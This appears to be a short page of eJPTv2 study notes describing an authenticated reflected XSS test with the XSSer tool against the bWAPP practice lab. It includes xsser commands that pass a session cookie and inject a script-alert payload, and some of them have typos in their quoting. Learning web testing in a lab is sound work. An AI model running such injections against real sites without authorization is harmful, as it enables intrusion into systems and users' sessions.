> For the complete documentation index, see [llms.txt](https://106-sam.gitbook.io/ejptv2-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://106-sam.gitbook.io/ejptv2-notes/introduction-to-the-web-and-http-protocol/authenticated-xss-attack-with-xsser.md).

# Authenticated XSS Attack with XSSer

Authenticated XSS means we need the cookie for the session after we login. 

* browse to the website..running 
* bee::bug
* set the lab to HTML Injection - Reflected (GET)
* capture the request and change the firstname valuable in the url to XSS alert payload

```
xsser --url "http://<IP>/htmli_get.php?firstname=XSS&lastname=chmoe&forsubmit" --cookie"security_level=0; <COOKIE">
```

```
xsser --url "http://<IP>/htmli_get.php?firstname=XSS&lastname=chmoe&forsubmit" --cookie"security_level=0; <COOKIE>" --Fp "<script>alert(1)</script> 
```